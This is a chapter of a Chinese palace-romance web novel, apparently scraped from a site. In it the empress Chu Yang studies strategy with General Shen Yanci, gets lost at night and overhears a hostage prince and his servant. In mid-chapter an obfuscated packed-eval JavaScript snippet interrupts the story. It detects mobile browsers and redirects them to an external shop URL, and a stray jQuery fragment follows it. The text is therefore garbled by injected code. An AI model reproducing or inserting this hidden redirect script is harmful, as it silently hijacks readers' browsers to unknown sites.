10. 第十章
作品:《女帝掌朝:祖宗上司的嫡君们》 酉时的日光斜斜地浸过宫殿窗棂,在案几上投下斑驳光影。
沈砚辞执起朱砂笔,目光落在楚泱铺开的策论那是她关于“不费一兵一骑攻克政敌”的方略,笔锋清丽,却藏着几分未经世事的稚嫩。
他指尖微顿,用红笔圈出“亲其所爱,以分其威;赂其所重,以乱其谋”一行字,随即以遒劲行楷在下方批注:“养其乱臣以迷之,进美女淫声以惑之。”
笔锋收落,沈砚辞侧头看向身侧垂眸的女子,声音清润如玉石相击:“你只想乱其谋,却不知攻敌之上策,在于‘植’。”
楚泱抬眸,睫羽轻颤,眼底藏着几分疑惑:“‘植’的意思是?”
沈砚辞搁下朱砂笔,指节轻叩案几,语气沉缓却字字明晰道:“攻心和各取所需固然干脆,可变数太多。若能在其根源内部偷梁换柱,让心腹一开始就为我们的人,届时我朝无需一兵一卒,他们自会双手奉上江山。”
楚泱凝眸细看他批注的字句,眉宇间的疑惑渐渐散去,取而代之的是认同。她轻声附和:“所以这便是‘善师期于不阵,上将先于伐谋;未待干戈,遽清金庭之祲,无劳转运,长销玉塞之尘’的利国安边之理?”
沈砚辞眼中闪过一丝诧异,转头看向身侧娇小却挺拔的女子,刻意压低了声音,语气里带着几分探究:“这话,是你自己想的?”
楚泱脸颊微热,嗫嚅着垂了垂眼:“不全是……这话出自一本野史画本,是一位姓武的女子,与当朝新科状元郎探讨如何和平安邦治国对话。”
闻听此言,沈砚辞紧绷的唇角忽然漾开一抹浅淡笑意,语气里多了几分玩味:“画册中的女子竟有这般见识,倒是个奇女子。”
楚泱尴尬地扯了扯嘴角,心里暗自腹诽:这哪里是奇女子,分明是我辈女子的楷模。只是这话,她终究没好意思说出口。
其后,沈砚辞又随口问了些紫微斗数、算术之类的问题。每逢关键处,他从不多言说教,只抛砖引玉般提点一二,引着楚泱自行思索作答;待她说出答案,再点到为止地修正不足。
一来二往,两人的探讨渐渐入了佳境。直至戌时钟声隐隐传来,才被宫人请用晚膳的声音打断。
楚泱本意想留沈砚辞在宫中一同用膳,可他在仔细检验完她这几日的课业后,便径直起身,脚步匆匆往殿外走去。
楚泱望着他的背影,心头微微一沉。
她知晓,边关定是出了急事。不然,他的副将叶公,断不会贸然出现在这深宫之中。
那叶公本是武夫,素来不善言辞,此刻正被大太监拦在殿门外,急得双手搓来搓去,在原地团团转,身上的金光甲胄随着动作频频抖动,发出细碎的甲叶相撞之声。许是在门外站立了许久,始终未得召见,他时不时发出一声重重的叹息,眉宇间满是焦灼。
待到戌时过半,沈砚辞踏出殿门,叶公仿若看到了救命稻草,眼睛一亮,立刻快步跟上,连半句多余的话都没有。两人步履急促,身影很快便往远处廊腰缦回的深处走去。
楚泱望着两人远去的背影,忽然想起了什么,转头看向龙椅旁。那里放着一件她特意为沈砚辞准备的大氅。这大氅是用最厚实的狐裘缝制的,足以抵御风寒。
她当即开口,声音清亮:“木瑶,取绛纱灯来,我们去找沈将军。”
话音未落,她已弯腰拿起大氅,快步朝着那两抹远去的人影追去。宫女木瑶连忙应了一声,双手提着绛纱灯,快步跟上自家主子的脚步。
偌大的楚越宫殿,红墙黑瓦连绵不绝,五步一楼,十步一阁,廊腰缦回如绸带,檐牙高啄似禽鸟。一到夜晚,殿宇错落,暗影重重。纵然有头顶的月辉洒下,映得瓦当泛着冷光,身侧的绛纱灯暖光摇曳,将主仆二人的身影拉得一长一短,投在青石板路上,却依旧让人辨不清方向。
年方十六的木瑶紧紧攥着绛纱灯的提杆,身子挨着楚泱,声音里带着几分怯意,小声道:“陛下,我们……好像迷路了。”
楚泱脚步一顿,缓缓停下,抬眸环顾四周。夜色如墨,目之所及,皆是朱红架梁、雕花椽木,廊下茂密繁盛的植被层层叠叠,遮得月光愈发昏暗,连风穿过枝叶的声响都带着几分诡异的静谧。
她放缓脚步,指尖轻轻捻着袖口的绣纹,脑海中浮现出所学的古代建筑格局。按照宫廷绘画师与建筑师所授,她们出发时沿中轴线北行,穿过一道有御林军值守的大门,又由右侧小门径直向前。皇家宫殿素来三进九院,按此推算,前方应还有一座主宫才是。
就在楚泱暗自思忖之际,木瑶忽然眼睛一亮,紧绷的身子微微松弛,轻轻拽了拽她的衣袖,小声喊道:“陛下,您看!前面宫殿有灯!”
主仆二人对视一眼,循着那点微光,轻手轻脚靠近。越往前,便见那宫殿的琉璃窗上,隐约映出一道墨色衣袍的垂落纹路,还有一个轮廓俊朗挺拔的男子身影。再挨近些,才看清那人正斜倚窗栏,双目轻阖似在休憩,眉宇间带着几分淡淡倦意,却不减矜贵气度。
竟是他。楚泱心头微震,下意识顿住脚步,拉着木瑶躲到一旁假山后,屏气凝神。
窗内,男子身侧立着一个小厮,正端着一碗温热的汤羹,脸上满是委屈,声音压得极低:“主子,他们都欺负您!明明是大皇子惹的祸,凭什么要您替他受罪?陛下也太偏心了,您才是他的亲嫡子啊。”
男子面色依旧平静,斜倚的姿态未变分毫,眉峰都未曾动一下,仿佛早已习惯了这般说辞。
小厮将汤羹轻轻放在梨花木桌上,转头看了眼自家主子,咬了咬下唇,又忍不住絮叨:“还有那楚越人,自己家太子死了,却非要我们燕云的太子陪葬!沈砚辞能想出这等阴招,也太恶毒了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331605|198793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“慎言。”
男子缓缓开口,声音清润华美,带着不容置喙的威严。半阖的美目骤然睁开,目光沉沉盯着眼前的小厮,语气里的警告显而易见。
小厮吓得一缩,委屈地瘪了瘪嘴,连忙低下头,喏喏应道:“知道了,主子。”
他顿了顿,又端起一旁温着的粥碗,小心翼翼地递到男子面前,低声补充:“主子,依我看,那楚越女帝也不过是个虚设,宫里终究还是沈砚辞说了算。我甚至觉得,真正害死楚越太子的,说不定就是他们楚越自己人。就是那人人敬重的沈将军!这样一来,他就能挟天子以令诸侯,操控楚越的一切了。”
男子伸出玉白修长的手指,接过粥碗,轻轻喝了几口,眉头微微蹙起,似是不喜这粥的味道。
小厮见状,连忙从怀中掏出一小袋奶酪干,小心翼翼放在他掌心,讨好道:“主子,要我说,还是我们燕云的饮食合胃口,这里的菜寡淡如水,哪里比得上我们大草原的牛羊奶?那水牛的牛奶味,终究是差了些。”
男子垂眸,看着掌心的奶酪干,指尖轻轻捻起一块,放进粥碗中缓缓搅拌,神色依旧淡淡,看不出喜怒。
小厮见他未恼,又壮着胆子絮叨起来:“不过外面传闻,那楚越女帝和沈砚辞情比金坚,不知道是真是假。主子您知道吗?他们都说,沈砚辞夜夜留宿四方宫,对女帝日日承欢,百般柔情。我是真没想到,那样一个活阎王似的人物,也能有这般温柔的模样。”
“砰”
一声闷响,男子手中喝到一半的粥碗被重重放在窗槛上,瓷碗与木头相撞,溅出几滴粥液。他方才还平静的脸色瞬间沉了下来,眼底掠过一丝冷意,周身的气压也骤然降低。
小厮吓得“噗通”跪倒在地,脸色惨白,连忙捂住自己的嘴,再也不敢多说一个字,连呼吸都变得小心翼翼。
周遭陷入一片死寂,缄默了许久,连风吹过窗棂的声响都格外清晰。
男子似是察觉到了什么,微微抬眸,目光扫向窗外。身上敞开的宽袍随意垂落,露出颈间淡淡的衣纹。
他缓缓开口,声音依旧清润,却带着几分了然的疏离:“陛下偷看了这么久,是温珩管教下人不周,让陛下见笑了。”
楚泱被撞破行踪,脸颊微微发烫,颇有些尴尬地轻咳两声,下意识攥紧手中的大氅,才勉强稳住心神,拉着木瑶从假山后走了出来。
她扬起下巴迎上那双狭长的桃花眼,唇角扯出一抹从容的笑意:“本想赏夜景,不料迷了路,亦不想惊扰了帝后。失礼了。”
说罢微微颔首,目光却不受控制地往他面前的窗槛上扫去……那碗粥静静搁着,奶酪干已渐渐溶开,在烛火下泛着浅浅的油花。
她忽然想起方才小厮说的那句“情比金坚”“夜夜留宿”,指尖不自觉地蜷了蜷,攥得大氅的狐裘绒毛微微塌陷。

